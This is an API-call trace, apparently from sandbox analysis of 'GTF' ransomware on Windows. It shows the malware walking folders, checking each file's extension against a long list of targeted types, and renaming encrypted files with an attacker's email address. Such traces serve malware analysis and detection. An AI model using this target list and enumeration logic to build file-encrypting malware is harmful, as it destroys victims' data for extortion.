	[0062.812] lstrlenW (lpString=".ppa") returned 4
	[0062.812] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".ppam") returned 5
	[0062.813] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.813] lstrlenW (lpString=".ppm") returned 4
	[0062.813] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".pps") returned 4
	[0062.813] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".ppsm") returned 5
	[0062.813] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.813] lstrlenW (lpString=".ppt") returned 4
	[0062.813] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".pptm") returned 5
	[0062.813] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.813] lstrlenW (lpString=".pptx") returned 5
	[0062.813] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.813] lstrlenW (lpString=".prn") returned 4
	[0062.813] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".ps") returned 3
	[0062.813] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.813] lstrlenW (lpString=".psb") returned 4
	[0062.813] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".psd") returned 4
	[0062.813] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".pst") returned 4
	[0062.813] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".ptx") returned 4
	[0062.813] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".pub") returned 4
	[0062.813] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.813] lstrlenW (lpString=".pwm") returned 4
	[0062.813] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.814] lstrlenW (lpString=".pxr") returned 4
	[0062.814] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.814] lstrlenW (lpString=".py") returned 3
	[0062.814] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.814] lstrlenW (lpString=".qt") returned 3
	[0062.814] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.814] lstrlenW (lpString=".r3d") returned 4
	[0062.814] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.814] lstrlenW (lpString=".raf") returned 4
	[0062.814] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.814] lstrlenW (lpString=".rar") returned 4
	[0062.814] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.814] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0062.814] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9caf1fc2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0062.814] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.815] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.815] FindClose (in: hFindFile=0x811dc8 | out: hFindFile=0x811dc8) returned 1
	[0062.815] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.815] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0062.815] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0062.815] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0062.815] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.815] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.815] lstrlenW (lpString="eula.rtf") returned 8
	[0062.815] lstrlenW (lpString=".1cd") returned 4
	[0062.815] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.815] lstrlenW (lpString=".3ds") returned 4
	[0062.815] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.815] lstrlenW (lpString=".3fr") returned 4
	[0062.815] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".3g2") returned 4
	[0062.816] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".3gp") returned 4
	[0062.816] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".7z") returned 3
	[0062.816] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.816] lstrlenW (lpString=".accda") returned 6
	[0062.816] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".accdb") returned 6
	[0062.816] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".accdc") returned 6
	[0062.816] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".accde") returned 6
	[0062.816] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".accdt") returned 6
	[0062.816] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".accdw") returned 6
	[0062.816] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.816] lstrlenW (lpString=".adb") returned 4
	[0062.816] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".adp") returned 4
	[0062.816] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai") returned 3
	[0062.816] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai3") returned 4
	[0062.816] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai4") returned 4
	[0062.816] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai5") returned 4
	[0062.816] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai6") returned 4
	[0062.816] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai7") returned 4
	[0062.816] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.816] lstrlenW (lpString=".ai8") returned 4
	[0062.817] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".anim") returned 5
	[0062.817] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.817] lstrlenW (lpString=".arw") returned 4
	[0062.817] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".as") returned 3
	[0062.817] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.817] lstrlenW (lpString=".asa") returned 4
	[0062.817] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".asc") returned 4
	[0062.817] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".ascx") returned 5
	[0062.817] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.817] lstrlenW (lpString=".asm") returned 4
	[0062.817] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".asmx") returned 5
	[0062.817] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.817] lstrlenW (lpString=".asp") returned 4
	[0062.817] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".aspx") returned 5
	[0062.817] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.817] lstrlenW (lpString=".asr") returned 4
	[0062.817] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".asx") returned 4
	[0062.817] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".avi") returned 4
	[0062.817] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".avs") returned 4
	[0062.817] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".backup") returned 7
	[0062.817] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.817] lstrlenW (lpString=".bak") returned 4
	[0062.817] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.817] lstrlenW (lpString=".bay") returned 4
	[0062.817] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".bd") returned 3
	[0062.818] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.818] lstrlenW (lpString=".bin") returned 4
	[0062.818] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".bmp") returned 4
	[0062.818] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".bz2") returned 4
	[0062.818] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".c") returned 2
	[0062.818] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.818] lstrlenW (lpString=".cdr") returned 4
	[0062.818] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".cer") returned 4
	[0062.818] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".cf") returned 3
	[0062.818] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.818] lstrlenW (lpString=".cfc") returned 4
	[0062.818] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".cfm") returned 4
	[0062.818] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".cfml") returned 5
	[0062.818] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.818] lstrlenW (lpString=".cfu") returned 4
	[0062.818] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".chm") returned 4
	[0062.818] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".cin") returned 4
	[0062.818] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".class") returned 6
	[0062.818] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.818] lstrlenW (lpString=".clx") returned 4
	[0062.818] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.818] lstrlenW (lpString=".config") returned 7
	[0062.818] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.818] lstrlenW (lpString=".cpp") returned 4
	[0062.819] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".cr2") returned 4
	[0062.819] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".crt") returned 4
	[0062.819] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".crw") returned 4
	[0062.819] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".cs") returned 3
	[0062.819] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.819] lstrlenW (lpString=".css") returned 4
	[0062.819] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".csv") returned 4
	[0062.819] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".cub") returned 4
	[0062.819] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dae") returned 4
	[0062.819] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dat") returned 4
	[0062.819] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".db") returned 3
	[0062.819] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.819] lstrlenW (lpString=".dbf") returned 4
	[0062.819] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dbx") returned 4
	[0062.819] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dc3") returned 4
	[0062.819] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dcm") returned 4
	[0062.819] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dcr") returned 4
	[0062.819] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".der") returned 4
	[0062.819] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.819] lstrlenW (lpString=".dib") returned 4
	[0062.819] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dic") returned 4
	[0062.820] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dif") returned 4
	[0062.820] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".divx") returned 5
	[0062.820] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".djvu") returned 5
	[0062.820] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".dng") returned 4
	[0062.820] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".doc") returned 4
	[0062.820] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".docm") returned 5
	[0062.820] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".docx") returned 5
	[0062.820] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".dot") returned 4
	[0062.820] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dotm") returned 5
	[0062.820] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".dotx") returned 5
	[0062.820] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.820] lstrlenW (lpString=".dpx") returned 4
	[0062.820] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dqy") returned 4
	[0062.820] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dsn") returned 4
	[0062.820] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.820] lstrlenW (lpString=".dt") returned 3
	[0062.820] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.820] lstrlenW (lpString=".dtd") returned 4
	[0062.820] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".dwg") returned 4
	[0062.821] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".dwt") returned 4
	[0062.821] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".dx") returned 3
	[0062.821] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.821] lstrlenW (lpString=".dxf") returned 4
	[0062.821] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".edml") returned 5
	[0062.821] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.821] lstrlenW (lpString=".efd") returned 4
	[0062.821] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".elf") returned 4
	[0062.821] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".emf") returned 4
	[0062.821] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".emz") returned 4
	[0062.821] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".epf") returned 4
	[0062.821] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".eps") returned 4
	[0062.821] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.821] lstrlenW (lpString=".epsf") returned 5
	[0062.821] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.821] lstrlenW (lpString=".epsp") returned 5
	[0062.821] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.821] lstrlenW (lpString=".erf") returned 4
	[0062.822] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".exr") returned 4
	[0062.822] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".f4v") returned 4
	[0062.822] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".fido") returned 5
	[0062.822] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.822] lstrlenW (lpString=".flm") returned 4
	[0062.822] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".flv") returned 4
	[0062.822] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".frm") returned 4
	[0062.822] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".fxg") returned 4
	[0062.822] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".geo") returned 4
	[0062.822] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".gif") returned 4
	[0062.822] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".grs") returned 4
	[0062.822] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".gz") returned 3
	[0062.822] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.822] lstrlenW (lpString=".h") returned 2
	[0062.822] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.822] lstrlenW (lpString=".hdr") returned 4
	[0062.822] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".hpp") returned 4
	[0062.822] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".hta") returned 4
	[0062.822] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.822] lstrlenW (lpString=".htc") returned 4
	[0062.823] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".htm") returned 4
	[0062.823] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".html") returned 5
	[0062.823] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.823] lstrlenW (lpString=".icb") returned 4
	[0062.823] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".ics") returned 4
	[0062.823] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".iff") returned 4
	[0062.823] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".inc") returned 4
	[0062.823] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".indd") returned 5
	[0062.823] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.823] lstrlenW (lpString=".ini") returned 4
	[0062.823] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".iqy") returned 4
	[0062.823] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".j2c") returned 4
	[0062.823] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".j2k") returned 4
	[0062.823] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".java") returned 5
	[0062.823] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.823] lstrlenW (lpString=".jp2") returned 4
	[0062.823] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".jpc") returned 4
	[0062.823] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".jpe") returned 4
	[0062.823] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.823] lstrlenW (lpString=".jpeg") returned 5
	[0062.823] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.823] lstrlenW (lpString=".jpf") returned 4
	[0062.823] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".jpg") returned 4
	[0062.824] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".jpx") returned 4
	[0062.824] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".js") returned 3
	[0062.824] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.824] lstrlenW (lpString=".jsf") returned 4
	[0062.824] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".json") returned 5
	[0062.824] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.824] lstrlenW (lpString=".jsp") returned 4
	[0062.824] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".kdc") returned 4
	[0062.824] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".kmz") returned 4
	[0062.824] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".kwm") returned 4
	[0062.824] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".lasso") returned 6
	[0062.824] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.824] lstrlenW (lpString=".lbi") returned 4
	[0062.824] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".lgf") returned 4
	[0062.824] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".lgp") returned 4
	[0062.824] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".log") returned 4
	[0062.824] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".m1v") returned 4
	[0062.824] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".m4a") returned 4
	[0062.824] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".m4v") returned 4
	[0062.824] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.824] lstrlenW (lpString=".max") returned 4
	[0062.825] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".md") returned 3
	[0062.825] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.825] lstrlenW (lpString=".mda") returned 4
	[0062.825] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
